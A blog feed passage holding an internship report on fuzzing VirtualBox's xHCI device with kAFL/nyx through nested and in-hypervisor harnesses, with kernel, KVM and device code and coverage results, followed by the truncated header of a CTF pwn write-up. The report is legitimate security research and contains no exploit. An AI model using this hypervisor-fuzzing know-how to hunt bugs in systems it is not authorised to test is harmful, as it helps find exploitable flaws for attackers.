&lt;p&gt;At the start of my internship I really wanted to dig into kafl/nyx because I already had experience using it for kernel fuzzing. Moreover, I was very excited about how easy it is to initialize the fuzzing loop and to perform full-system snapshotting. I already explained how kafl/nyx is working theoretically, I will describe here how I concretely used to to perform nested fuzzing and then just hypervisor fuzzing.&lt;/p&gt;
&lt;h2&gt;Setup&lt;/h2&gt;
&lt;p&gt;I spent weeks trying to build the right setup to perform nested fuzzing, this task was very time consuming. To fuzz VirtualBox we need to instrument both the ring0 and ring3 components of VirtualBox and we need to add KASAN support to the L1 kernel and ASAN support for the ring3 component. Furthermore, given we are fuzzing the xHCI subsystem, we need to add xHCI support for the L1 kernel.&lt;/p&gt;
&lt;p&gt;Setups for nested fuzzing really look like a matryoshka, we are building a L2 linux kernel which will be emulated by a hypervisor (custom VirtualBox) running inside the L1 (a custom ubuntu server). The L1 is emulated by Qemu-PT and makes use of the KVM-PT module loaded in the L0. Both L1 and L2 and handled by the L0 KVM-PT module through paravirtualization. The L0 is not actually treating the L2 as a nested guest, emulated by the harnessed VirtualBox hypervisor running inside of the L1.&lt;/p&gt;
&lt;h3&gt;Building the L0, L1 and L2 kernel&lt;/h3&gt;
&lt;p&gt;I needed to edit the KVM-PT modules loaded on the L0 so I needed to build a custom L0 kernel too. To build the L0 kernel and the custom KVM module you can refer to the &lt;code&gt;Makefile&lt;/code&gt; in &lt;code&gt;build_kernel/Makefile&lt;/code&gt; (rule &lt;code&gt;fullBuild&lt;/code&gt; to build and install the kernel and rule &lt;code&gt;kvm&lt;/code&gt; to just compile and load the KVM modules). To build the L1 kernel the &lt;code&gt;Makefile&lt;/code&gt; is in &lt;code&gt;vbox/Makefile&lt;/code&gt; (rule &lt;code&gt;linuxBuild&lt;/code&gt;) once the L1 kernel is built you should install it on the L1 image, to do so you need to boot on the L1 (&lt;code&gt;sudo ./gen_L1/run.sh&lt;/code&gt;) and run &lt;code&gt;make linuxBuild&lt;/code&gt; that will install the kernel and the modules in the L1. The L1 kernel is built with &lt;code&gt;USB_XHCI_HCD&lt;/code&gt;, &lt;code&gt;USB_PCI&lt;/code&gt;, &lt;code&gt;KASAN&lt;/code&gt; and &lt;code&gt;KASAN_INLINE&lt;/code&gt; options enabled. The L2 kernel is built when the L2 boot image is created (&lt;code&gt;Makefile&lt;/code&gt; file, &lt;code&gt;run_harness&lt;/code&gt; rule) the L2 is linked with the &lt;code&gt;nyx_api.h&lt;/code&gt; API header.&lt;/p&gt;
&lt;h3&gt;Building the L2 iso&lt;/h3&gt;
&lt;p&gt;After building the L2 kernel we need to build the iso file of the L2 agent os that will be emulated by the target hypervisor. To do so I generate a &lt;code&gt;initrd&lt;/code&gt; with &lt;code&gt;./gen_initrd.sh&lt;/code&gt; and I edit the grub entry to boot on the newly built L2 kernel. And I finally insert the kernel module harness I built upon the L2 kernel in the initramfs. Once the L2 iso is successfully built I insert it into the L1 .qcow2 file using &lt;code&gt;guestmount&lt;/code&gt;. NOTE: you need to install the package named &lt;code&gt;grub-pc-bin&lt;/code&gt; otherwise the created iso will not boot.&lt;/p&gt;
&lt;h3&gt;Booting on the L1&lt;/h3&gt;
&lt;p&gt;To boot on the L1 image you can start &lt;code&gt;./gen_L1/run.sh&lt;/code&gt; and if it is the first time you run to the Virtual Machine you need to append you publickey in &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt;. This can be achieved by using the qemu console and the shared folder created at boot startupm it is located in &lt;code&gt;./vbox&lt;/code&gt; on the host and is mounted on &lt;code&gt;/mnt/shared&lt;/code&gt; on the L1. Once it&apos;s done you can just use ssh to connect to the L1: &lt;code&gt;ssh nasm@locahost -p 2222&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;NOTE: You need to have at least 15G to boot on the L1, otherwise it will assume you&apos;re running in fuzzing mode and will start issuing nyx hypercalls.&lt;/p&gt;
&lt;h3&gt;Building VirtualBox&lt;/h3&gt;
&lt;p&gt;I created a build script on the L1 to build VirtualBox and its kernel modules: &lt;code&gt;./buil.sh&lt;/code&gt;. From my experiments VirtualBox needs to be configured with &lt;code&gt;--disable-java --build-headless --disable-docs --disable-hardening&lt;/code&gt; and I built it using the &lt;code&gt;ASAN&lt;/code&gt; &lt;code&gt;BUILD_TYPE&lt;/code&gt; to be able to catch any out of bound read / write access.&lt;/p&gt;
&lt;h3&gt;Configuring and starting the L2 virtual machine&lt;/h3&gt;
&lt;p&gt;We built the boot iso file to boot on but we still need to configure the L2 virtual machine to enable xHCI support and paravirtualization. The virtual machine is described by the &lt;code&gt;out.vbox&lt;/code&gt; file on the L1. The name of the L2 virtual machine is &lt;code&gt;target_L2&lt;/code&gt; and its configuration can be dumped like this using &lt;code&gt;VBoxManage&lt;/code&gt;: &lt;code&gt;sudo ./VirtualBox-7.1.8/out/linux.amd64/asan/bin/VBoxManage showvminfo target_L2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To start the virtual machine I chose to pin the VirtualBox process on the cpu 0 using &lt;code&gt;tasklet&lt;/code&gt;: &lt;code&gt;sudo taskset --cpu-list 0 ./VBoxManage startvm &quot;target_L2&quot; --type headless&lt;/code&gt;. The &lt;code&gt;~/run.sh&lt;/code&gt; script is started at the startup and is basically a systemd service. According to the amount of memory the L1 got, it is assuming to run fuzzing mode or in persistent mode (with a standard qemu version). If it is running in fuzzing mode it starts the L2 virtual machine.&lt;/p&gt;
&lt;h2&gt;The L2 harness&lt;/h2&gt;
&lt;p&gt;The code is located in the &lt;code&gt;module_harness&lt;/code&gt; directory.&lt;/p&gt;
&lt;p&gt;The L2 harness is a kernel module loaded at the boot startup, it needs to interact with the MMIO area of the xHCi controller, to do so we have to unload the existing xHCI device (&lt;code&gt;unbind_xhci_driver&lt;/code&gt; function) and allocate a PCI region were the xHCI registers will be mapped (&lt;code&gt;xhci_fuzzer_init&lt;/code&gt;).  Once the PCI region is allocated we can read and write to the xHCI MMIO area.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static void unbind_xhci_driver(void)
{
    struct pci_dev *pdev = NULL;

    // Find the xHCI controller
    pdev = pci_get_class(PCI_CLASS_SERIAL_USB_XHCI, NULL);
    if (!pdev) {
        printk(KERN_ERR &quot;No xHCI controller found\n&quot;);
        return;
    }

    // Unbind the standard driver
    if (pdev-&amp;gt;dev.driver) {
        printk(KERN_INFO &quot;Unbinding xhci_hcd driver\n&quot;);
        device_release_driver(&amp;amp;pdev-&amp;gt;dev);
    }

    pci_dev_put(pdev);
}

static int __init xhci_fuzzer_init(void)
{
    struct pci_dev *pdev = NULL;

    unbind_xhci_driver();

    // Find xHCI controller
    while ((pdev = pci_get_class(PCI_CLASS_SERIAL_USB_XHCI, pdev))) {
        if (pci_enable_device(pdev)) {
            printk(KERN_ERR &quot;Failed to enable PCI device\n&quot;);
            continue;
        }

        if (pci_request_regions(pdev, MODULE_NAME)) {
            printk(KERN_ERR &quot;Failed to request PCI regions\n&quot;);
            pci_disable_device(pdev);
            continue;
        }

        xhci_mmio_base = pci_iomap(pdev, 0, 0);
        if (!xhci_mmio_base) {
            printk(KERN_ERR &quot;Failed to map MMIO space\n&quot;);
            pci_release_regions(pdev);
            pci_disable_device(pdev);
            continue;
        }

        xhci_pci_dev = pdev;
        break;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Fuzzing&lt;/h1&gt;
&lt;p&gt;Once we get there we got the very basic material to enable nested fuzzing. During my internship I wanted to first dig into nested fuzzing. That means to be able to perform most of the fuzzing logic from the L2 nested guest with minimal changes into the target hypervisor. To be able to perform fuzzing using kafl/nyx we need to be able to achieve the following operations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Initialization handshake with the fuzzer frontend, through a &lt;code&gt;HYPERCALL_KAFL_ACQUIRE&lt;/code&gt; / &lt;code&gt;HYPERCALL_KAFL_RELEASE&lt;/code&gt; sequence.&lt;/li&gt;
&lt;li&gt;submit the fuzzer configuration through the &lt;code&gt;SET_AGENT_CONFIG&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;submit the payload address the fuzzer will write the input to, through &lt;code&gt;HYPERCALL_KAFL_GET_PAYLOAD&lt;/code&gt; / &lt;code&gt;KAFL_NESTED_PREPARE&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;take the initial snapshot and actually write the content of the payload in memory, through the &lt;code&gt;HYPERCALL_KAFL_NEXT_PAYLOAD&lt;/code&gt; hypercall.&lt;/li&gt;
&lt;li&gt;start recording the coverage data with &lt;code&gt;HYPERCALL_KAFL_ACQUIRE&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;end the fuzzing loop and restore the initial snapshot through &lt;code&gt;HYPERCALL_KAFL_RELEASE&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This process is the same for any kind of fuzzing, nested or not, when we use kAFL @kafl. What is targeted through my different harnesses is the kernel context of the xHCI driver (which is part of the kernel module &lt;code&gt;VBoxDDR0.r0&lt;/code&gt;). The evaluation results are done on a &lt;code&gt;Intel(R) Core(TM) i5-10600K CPU @ 4.10GHz&lt;/code&gt; with 12 cores and 32G of ram memory.&lt;/p&gt;
&lt;h2&gt;Building the corpus&lt;/h2&gt;
&lt;p&gt;The issue with the VirtualBox devices fuzzing is that the entry point of the device lies in a kernel module while most of the actual -- and buggy -- logic lies into the usermode process. To get access to the usermode code we need to first build an corpus that would go through the kernel module without being rejected. That&apos;s why I am evaluating my different fuzzer implementations against the kernel code mainly. Because I spent a lot of time trying to fix my harness I couldn&apos;t actually run one implementation for a long time, which means my corpus is pretty basic yet. To build the corpus I adopted the following design: I keep calling &lt;code&gt;xhciMmioWrite&lt;/code&gt; until it returns &lt;code&gt;VINF_IOM_R3_MMIO_WRITE&lt;/code&gt;, the return value indicating the write request should be treated in usermode. When it returns this value I send a crash report to the fuzzer frontend so the input can be sorted differently compared to the regular inputs.&lt;/p&gt;
&lt;h2&gt;Ip ranges&lt;/h2&gt;
&lt;p&gt;To be able to do coverage guided fuzzing we need to give to the fuzzing frontend the specific IP range we would like to trace. It would be easy it this code range belonged to the linux kernel, but unfortunately the VirtualBox kernel devices are loaded dynamically at a random location in the kernel memory, even when the KASLR is disabled. To track the right areas I hooked the internal VirtualBox kernel module loading mechanism.&lt;/p&gt;
&lt;p&gt;When VirtualBox wants to load a kernel module it sends an ioctl request to the &lt;code&gt;vboxdrv&lt;/code&gt; kernel driver. Then, &lt;code&gt;vboxdrv&lt;/code&gt; loads the requested image in &lt;code&gt;supdrvIOCtl_LdrOpen&lt;/code&gt;, right after mapping the module I just check the names of the modules and I send a hypercall to the fuzzer frontend to register two ip ranges for the modules &lt;code&gt;VBoxDDR0.r0&lt;/code&gt; and &lt;code&gt;VMMR0.r0&lt;/code&gt;. This way we are only tracing the code in the &lt;code&gt;VBoxDDR0.r0&lt;/code&gt; device that is managing the devices, especially the &lt;code&gt;HXCI&lt;/code&gt; device. &lt;code&gt;VMMR0.r0&lt;/code&gt; is the Virtual Machine Monitor code containing the libraries and API devices are using to interact with the virtual machine.&lt;/p&gt;
&lt;h2&gt;Nested fuzzing&lt;/h2&gt;
&lt;p&gt;What seems very promising to me is how nested fuzzing can almost be target agnostic. Using kafl/nyx we only need to submit the cr3 of the process we want to fuzz. Everything else can be achieved outside of the L1, in both the L0 KVM module and in this L2 harness kernel module. This is what should be theoretically possible but concretely it is far more difficult. There are two main limitations, first to be able to trace the right code in the hypervisor process we need to get the cr3 value of the L1 target process. And the process that receives the interrupts from the L0 KVM module might be a wrapper process.&lt;/p&gt;
&lt;p&gt;With those limitations in mind, I started to look for a way to create a payload in the L2 and to start a basic fuzzing loop that will fuzz the MMIO area of the xHCI device by writing a random value at a random offset. However, according to the kAFL documentation, nested hypercalls are &quot;roughly equivalent hypercalls for use with nested virtualization (when agent is a L2 guest)&quot; but are untested and not fully supported yet. So I started looking at the code in the KVM-PT L0 module (&lt;code&gt;build_kernel/kafl.linux/arch/x86/kvm/vmx/nested.c&lt;/code&gt;), the hypercall handling is done in the &lt;code&gt;nested_vmx_l1_wants_exit&lt;/code&gt; function. This function is not doing much, it is mostly forwarding the hypercall to QEMU-pt, except for two hypercalls: &lt;code&gt;HYPERCALL_KAFL_NESTED_PREPARE&lt;/code&gt; and &lt;code&gt;HYPERCALL_KAFL_NESTED_HPRINTF&lt;/code&gt;. &lt;code&gt;HYPERCALL_KAFL_NESTED_HPRINTF&lt;/code&gt; just reads the hypercall argument, the physical address of the hprintf buffer, and translates it to a L1 physical address (pa) and provide this new address to qemu. &lt;code&gt;HYPERCALL_KAFL_NESTED_PREPARE&lt;/code&gt; allows the L2 guest to submit an array of pointers that will be mapped to the payload 1:1 as a non contiguous mapping. This is meant to be a way to provide pointers to different MMIO areas of different devices so when the payload actually gets written, different MMIO areas, not memory contiguous, could be fuzzed. The role of the KVM module here is just to translate those pointers to a valid L1 physical address that will be processed by qemu (qemu only knows about the L1 context).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// build_kernel/kafl.linux/arch/x86/kvm/vmx/nested.c

/*
 * Return 1 if L1 wants to intercept an exit from L2.  Only call this when in
 * is_guest_mode (L2).
 */
static bool nested_vmx_l1_wants_exit(struct kvm_vcpu *vcpu,
                                     union vmx_exit_reason exit_reason)
{
        struct vmcs12 *vmcs12 = get_vmcs12(vcpu);
        u32 intr_info;

        switch ((u16)exit_reason.basic) {
        case EXIT_REASON_EXCEPTION_NMI:
                intr_info = vmx_get_intr_info(vcpu);
                if (is_nmi(intr_info))
                        return true;
                else if (is_page_fault(intr_info))
                        return true;
                return vmcs12-&amp;gt;exception_bitmap &amp;amp;
                                (1u &amp;lt;&amp;lt; (intr_info &amp;amp; INTR_INFO_VECTOR_MASK));

[...]

#ifndef CONFIG_KVM_NYX
        case EXIT_REASON_VMCALL: case EXIT_REASON_VMCLEAR:
#else
        case EXIT_REASON_VMCALL:
                if ((kvm_register_read(vcpu, VCPU_REGS_RAX)&amp;amp;0xFFFFFFFF) == HYPERCALL_KAFL_RAX_ID &amp;amp;&amp;amp; (kvm_register_read(vcpu, VCPU_REGS_RBX)&amp;amp;0xFF000000) == HYPERTRASH_HYPERCALL_MASK){
                        switch(kvm_register_read(vcpu, VCPU_REGS_RBX)){

                                case HYPERCALL_KAFL_NESTED_CONFIG:
                                        vcpu-&amp;gt;run-&amp;gt;exit_reason = KVM_EXIT_KAFL_NESTED_CONFIG;
                                        break;

                                case HYPERCALL_KAFL_NESTED_PREPARE:
                                        prepare_nested(vcpu, vmcs12);
                                        break;

                                case HYPERCALL_KAFL_NESTED_ACQUIRE:
                                        vcpu-&amp;gt;run-&amp;gt;exit_reason = KVM_EXIT_KAFL_NESTED_ACQUIRE;
                                        break;

                                case HYPERCALL_KAFL_NESTED_RELEASE:
                                        vcpu-&amp;gt;run-&amp;gt;exit_reason = KVM_EXIT_KAFL_NESTED_RELEASE;
                                        break;

                                case HYPERCALL_KAFL_NESTED_HPRINTF:
                                        vcpu-&amp;gt;run-&amp;gt;exit_reason = KVM_EXIT_KAFL_NESTED_HPRINTF;
                                        vcpu-&amp;gt;run-&amp;gt;hypercall.args[0] = handle_hprintf(vcpu);
                                        break;

                                case HYPERCALL_KAFL_NESTED_EARLY_RELEASE:
                                        vcpu-&amp;gt;run-&amp;gt;exit_reason = KVM_EXIT_KAFL_NESTED_EARLY_RELEASE;
                                        break;
                        }
                }

                return true;
        case EXIT_REASON_VMCLEAR:
#endif

[...]
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The issue I encountered is that the address translation between the L2 and L1 context wasn&apos;t handling well the case when the L2 guest had paging enabled. After literally trying hard on this issue for weeks I finally figured it out by using the L1 memory management unit directly (&lt;code&gt;vcpu-&amp;gt;arch.mmu-&amp;gt;gva_to_gpa&lt;/code&gt;, instead of calling &lt;code&gt;kvm_translate_gpa&lt;/code&gt;) against a L1 pa.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// build_kernel/kafl.linux/arch/x86/kvm/vmx/nested.c

u64 g2va_to_g1pa(struct kvm_vcpu *vcpu, struct vmcs12* vmcs12, u64 addr){

        u64 gfn = 0;
        u64 real_gfn = 0;

        struct x86_exception exception;

        real_gfn = vcpu-&amp;gt;arch.mmu-&amp;gt;gva_to_gpa(vcpu, vcpu-&amp;gt;arch.mmu, addr, PFERR_USER_MASK | PFERR_WRITE_MASK, &amp;amp;exception);

        if (real_gfn == INVALID_GPA) real_gfn = kvm_translate_gpa(vcpu, vcpu-&amp;gt;arch.mmu, addr, PFERR_USER_MASK | PFERR_WRITE_MASK, &amp;amp;exception);
        printk(&quot;l2pa: %llx =&amp;gt; l1pa: %llx\n&quot;, addr, real_gfn);
        return real_gfn;
}


void prepare_nested(struct kvm_vcpu *vcpu, struct vmcs12* vmcs12){
        u64 guest_level_2_data_addr = kvm_register_read(vcpu, VCPU_REGS_RCX) &amp;amp; 0xFFFFFFFFFFFFFFFF;
        printk(KERN_EMERG &quot;HyperCall from Guest Level 2! RIP: %lx (created_vcpus: %x): %llx\n&quot;, kvm_register_read(vcpu, VCPU_REGS_RIP), vcpu-&amp;gt;kvm-&amp;gt;last_boosted_vcpu, guest_level_2_data_addr);

        u64 address = guest_level_2_data_addr &amp;amp; 0xFFFFFFFFFFFFF000ULL;
        u16 num = guest_level_2_data_addr &amp;amp; 0xFFF;
        u16 i = 0;

        u64 old_address = 0;
        u64 new_address = 0;

        u64 page_address_gfn = g2va_to_g1pa(vcpu, vmcs12, address) &amp;gt;&amp;gt; 12;

        for(i = 0; i &amp;lt; num; i++){
                kvm_vcpu_read_guest_page(vcpu, page_address_gfn,  &amp;amp;old_address, (i*0x8), 8);
                printk(&quot;READ -&amp;gt; %llx\n&quot;, old_address);
                new_address = g2va_to_g1pa(vcpu, vmcs12, old_address);
                kvm_vcpu_write_guest_page(vcpu, page_address_gfn,  &amp;amp;new_address, (i*0x8), 8);
                printk(&quot;%d: %llx -&amp;gt; %llx\n&quot;, i, old_address, new_address);
        }

        vcpu-&amp;gt;run-&amp;gt;exit_reason = KVM_EXIT_KAFL_NESTED_PREPARE;
        vcpu-&amp;gt;run-&amp;gt;hypercall.args[0] = num;
        vcpu-&amp;gt;run-&amp;gt;hypercall.args[1] = (page_address_gfn) &amp;lt;&amp;lt; 12;
        vcpu-&amp;gt;run-&amp;gt;hypercall.args[2] = vmcs12-&amp;gt;host_cr3 &amp;amp; 0xFFFFFFFFFFFFF000;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Basic Harness&lt;/h2&gt;
&lt;p&gt;My first idea was to allocate the payload in the L2 harness by issuing very specific MMIO requests to the target hypervisor from the L2, so when the hypervisor receives those requests, it performs various actions such as: initializing the fuzzer state from the MMIO handling context, start the fuzzing loop, and enable tracing and exiting the fuzzing loop.&lt;/p&gt;
&lt;p&gt;Concretely, the L2 harness just uses the &lt;code&gt;HYPERCALL_KAFL_NESTED_PREPARE&lt;/code&gt; to provide the L2 kernel buffer to the fuzzer frontend. And then a few MMIO requests on the xHCI MMIO area are issued to initialize and start the fuzzing loop:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// include/nyx_api.h
// kafl_agent_init (L2 context)

static void kafl_agent_init(uint64_t mmio)
{
        int i = 0;
        uint8_t* payload_target = NULL;

        hprintf_buffer = (uintptr_t)get_zeroed_page(GFP_KERNEL);

        if (agent_initialized) {
                kafl_habort(&quot;Warning: Agent was already initialized!\n&quot;);
        }

        kafl_hprintf(&quot;[*] Initialize kAFL Agent\n&quot;);

        payload_buffer_size = 0x2000;
        payload_buffer = (uint64_t* )get_zeroed_page(GFP_KERNEL);
        payload_target = (uint8_t* )get_zeroed_page(GFP_KERNEL);

        for (i = 0; i &amp;lt; 10; ++i) {
                if (!mmio) payload_buffer[i] = (uint64_t)virt_to_phys(payload_target);
                else payload_buffer[i] = (uint64_t)mmio;
        }

        ve_buf = payload_target; // internal kafl_fuzz_buffer ptr
        ve_num = 0x1000;  // internal kafl_fuzz_buffer sz
        if (!payload_buffer) {
                kafl_habort(&quot;Failed to allocate host payload buffer!\n&quot;);
        }

        kAFL_hypercall(HYPERCALL_KAFL_NESTED_PREPARE,( (uint64_t)virt_to_phys(payload_buffer)) | 1);
}

// module_harness/main.c
// basic harness for nested fuzzing (L2 kernel module)

void
dumb_fuzzing(void)
{
        uint32_t val = 0;
        uint32_t i = 0;
        uint32_t offt = 0;

        xhci_write32(0x1338, 0x8888); // init
        kafl_hprintf(&quot;kafl init called in the L1\n&quot;);
        xhci_write32(0x1348, 0x8888); // start fuzzing and acquire

        for (i = 0; i &amp;lt; 1; ++i) {
                kafl_fuzz_buffer(&amp;amp;offt, sizeof(offt));  
                kafl_fuzz_buffer(&amp;amp;val, sizeof(val));
                
                xhci_write32(offt, val); // fuzz 
        }
        
        xhci_write32(0x1340, 0x8888); //release 
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From the L1 perspective, we need to instrument the target device writer handler &lt;code&gt;xhciMmioWrite&lt;/code&gt; by adding the handlers for the MMIO requests we discussed right above:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// VirtualBox-7.1.8/src/VBox/Devices/USB/DevXHCI.cpp
// Basic L1 for the hypervisor to enable nested fuzzing

static DECLCALLBACK(VBOXSTRICTRC) xhciMmioWrite(PPDMDEVINS pDevIns, void *pvUser, RTGCPHYS off, void const *pv, unsigned cb)
{
    PXHCI               pThis  = PDMDEVINS_2_DATA(pDevIns, PXHCI);
    uint32_t      offReg = (uint32_t)off;
    uint32_t *    pu32   = (uint32_t *)pv;
    uint32_t            iReg;
    RT_NOREF(pvUser);

    VBOXSTRICTRC rcStrict = VINF_SUCCESS;

#if defined(IN_RING0)
    if (0x1338 == offReg
        &amp;amp;&amp;amp; 0x8888 == *pu32) {
        kafl_agent_init();

        return rcStrict;
    } else if (0x1340 == offReg
        &amp;amp;&amp;amp; 0x8888 == *pu32) {
        kAFL_hypercall(HYPERCALL_KAFL_RELEASE, 0);
        return rcStrict;
    } else if (0x1348 == offReg
        &amp;amp;&amp;amp; 0x8888 == *pu32) {
        kAFL_hypercall(HYPERCALL_KAFL_NEXT_PAYLOAD, 0);
        kAFL_hypercall(HYPERCALL_KAFL_ACQUIRE, 0);
        return rcStrict;
    }
#endif


    rcStrict = xhciMmioWriteFuzzInternal(pDevIns, pvUser, off, pu32, sizeof(uint32_t));

    // to avoid an assert to crash in the calling function, unreliable af tho
    if(  rcStrict == VINF_SUCCESS
                  || rcStrict == VINF_EM_DBG_STOP
                  || rcStrict == VINF_EM_DBG_EVENT
                  || rcStrict == VINF_EM_DBG_BREAKPOINT
                  || rcStrict == VINF_EM_OFF
                  || rcStrict == VINF_EM_SUSPEND
                  || rcStrict == VINF_EM_RESET) {

        return rcStrict;
    } else{
        return VINF_SUCCESS;
    }

[...]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Feeding the fuzzer with the MMIO area&lt;/h3&gt;
&lt;p&gt;Another type of harness I tried was heavily inspired on the HyperCube design @hypercube. Instead of giving the physical address of a L2 regular kernel buffer I tried to supply directly the address of the MMIO area (fetched with &lt;code&gt;pci_resource_start&lt;/code&gt;). The issue is that qemu isn&apos;t tracking well the MMIO areas, they do not get added to the bitmap that is tracking the dirty pages. I think I could solve this by patching the KVM-PT L0 module.&lt;/p&gt;
&lt;p&gt;If I manage to do it I could register tons of different MMIO areas for different devices and, all at once, fuzz them &lt;code&gt;HYPERCALL_KAFL_NESTED_PREPARE&lt;/code&gt;. The would trigger a lot of different write requests all over the target MMIO areas.&lt;/p&gt;
&lt;h3&gt;Results&lt;/h3&gt;
&lt;p&gt;To be honest, the nested fuzzing wasn&apos;t working properly until I gave it another try while writing this report. By recording coverage the &lt;code&gt;VMMR0.r0&lt;/code&gt; and &lt;code&gt;VBoxDDR0.r0&lt;/code&gt; VirtualBox kernel modules, I got the following results after one hour and half: 7.5M executions, 2213 edges and 5641 blocks.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;nested_results.png&quot; alt=&quot;nested fuzzing results&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Compared to the L1 fuzzing, nested fuzzing sounds to be way slower but way more stable at the same time. This is the approach which is the most similar to the &lt;a href=&quot;https://nyx-fuzz.com/papers/hypercube.pdf&quot;&gt;HyperCube&lt;/a&gt; design by leveraging both nested fuzzing and coverage guided fuzzing.&lt;/p&gt;
&lt;h2&gt;L1 fuzzing&lt;/h2&gt;
&lt;p&gt;After trying unsuccessfully to to nested fuzzing through the MMIO regions I had another idea: fuzzing the MMIO handling surface by simply inserting my harness when the first read / write request is reached in the MMIO read / write handler. Then, from there, I can just perform a regular fuzzing loop by calling the internal xHCI &lt;code&gt;MmioWrite&lt;/code&gt; / &lt;code&gt;MmioRead&lt;/code&gt; handler. This is a much more basic approach was very promising but is less reliable, indeed the MMIO write requests are first filtered by the &lt;code&gt;iomMmioHandlerNew&lt;/code&gt; function, and I am starting to fuzz the interface after the L2 guest request has been filtered and checked already.&lt;/p&gt;
&lt;p&gt;This harness is iterating five times through the &lt;code&gt;xhciMmioWrite&lt;/code&gt; function feeding it with arguments supplied by the fuzzer and when &lt;code&gt;xhciMmioWrite&lt;/code&gt; returns a usermode code we keep track of the arguments by saving the input. The kernel buffer is allocated with (&lt;code&gt;SUPR0ContAlloc&lt;/code&gt; or &lt;code&gt;__get_free_pages&lt;/code&gt;) and is shared with the userland context of the device. Which means that if the fuzz iteration ends up in userland you can keep using the &lt;code&gt;kafl_fuzz_buffer&lt;/code&gt; with the input payload.&lt;/p&gt;
&lt;h3&gt;Issues&lt;/h3&gt;
&lt;p&gt;I really struggled to write a working harness. I spent most of the internship trying to make it reliable, which means, avoiding timeouts and non-deterministic behaviors. The first issue is the how the assertions should be handled, I tried to dig as deeply as possible into the assertion management system. I ended up hooking &lt;code&gt;RTAssertShouldPanic&lt;/code&gt;, which appeared to be, to me, the most commonly used function when it comes to internal assertions treatment. I aimed to add the &lt;code&gt;HYPERCALL_KAFL_RELEASE&lt;/code&gt; hypercall to this function in case it is crashing, then it would have had restarted the fuzzing loop when an assert fails. But apparently this doesn&apos;t work. Instead I just commented out all of the &lt;code&gt;assert&lt;/code&gt; calls in the device source code. This is very ugly, instead I should replace them by a &lt;code&gt;HYPERCALL_KAFL_RELEASE&lt;/code&gt; hypercall.&lt;/p&gt;
&lt;h3&gt;Results&lt;/h3&gt;
&lt;p&gt;I got better results after trying this approach. This is due to the lack of context switches between VirtualBox and the L2 guest, by avoiding the context switches I can focus on fuzzing the target &lt;code&gt;xhciMmioWrite&lt;/code&gt; interface. After one hour of fuzzing without a prior corpus I got the following results: 7.5M executions, 614 blocks and 327 edges. &lt;em&gt;L1 fuzzing is two times faster than nested fuzzing.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;l1_results.png&quot; alt=&quot;L1 results&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The fuzzer is stable and deterministic, there are less edges and blocks reached compared to the nested fuzzing campaign because we are only tracing the coverage inside of the target device. When we are performing nested fuzzing, the context switches are going through a lot of code, and then, are increasing the code coverage artificially.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// VirtualBox-7.1.8/src/VBox/Devices/USB/DevXHCI.cpp
// Basic harness directly in the L1 hypervisor code

static DECLCALLBACK(VBOXSTRICTRC) xhciMmioWrite(PPDMDEVINS pDevIns, void *pvUser, RTGCPHYS off, void const *pv, unsigned cb)
{
    PXHCI               pThis  = PDMDEVINS_2_DATA(pDevIns, PXHCI);
    uint32_t      offReg = (uint32_t)off;
    uint32_t *    pu32   = (uint32_t *)pv;
    uint32_t            iReg;
    RT_NOREF(pvUser);

    VBOXSTRICTRC rcStrict = VINF_SUCCESS;

    if (0x1448 == offReg &amp;amp;&amp;amp; 0x8888 == *pu32) {

            kAFL_hypercall(HYPERCALL_KAFL_NEXT_PAYLOAD, 0);
            kAFL_hypercall(HYPERCALL_KAFL_ACQUIRE, 0);

            for (int i = 0; i &amp;lt; 5; ++i) {
                    kafl_fuzz_buffer(&amp;amp;off, sizeof(off));
                    kafl_fuzz_buffer(pu32, sizeof(*pu32));

                    // validate the offset
                    if ((off &amp;amp; 0x3) || !xhci_is_interesting(off)) continue;

                    rcStrict = xhciMmioWriteFuzzInternal(pDevIns, pvUser, off, pu32, sizeof(uint32_t));

                    if ((VBOXSTRICTRC)VINF_IOM_R3_MMIO_WRITE == rcStrict) {
                        kAFL_hypercall(HYPERCALL_KAFL_RELEASE, 0);
                        return rcStrict;
                    }
            }

            kAFL_hypercall(HYPERCALL_KAFL_RELEASE, 0);
    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;I detailed two types of harnesses which appear to work against the ring0 xHCI module emulated by VirtualBox. I didn&apos;t have time to test this approach against the user mode code -- where the main logic lies -- but this shouldn&apos;t be so different compared to the ring0 fuzzing. The L1 fuzzing approach ended up being quite deterministic and surprisingly fast and stable and only requires to add a small harness into the target device. Even though I didn&apos;t find any bugs during the fuzzing campaign, I am very optimistic for the upcoming improvements and their ability to trigger buggy code paths.&lt;/p&gt;
</content:encoded></item><item><title>[ImaginaryCTF 2023 - pwn] window-of-opportunity</title><link>https://n4sm.github.io/posts/iwindow/</link><guid isPermaLink="true">https://n4sm.github.io/posts/iwindow/</guid><pubDate>Mon, 24 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;window-of-opportunity&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;window-of-opportunity (490 pts) - 11 solves
by Eth007&lt;/p&gt;
&lt;p&gt;Description: Sometimes, there is a glimmer of hope, a spark of inspiration, a window of opportunity.&lt;/p&gt;
&lt;p&gt;Attachments
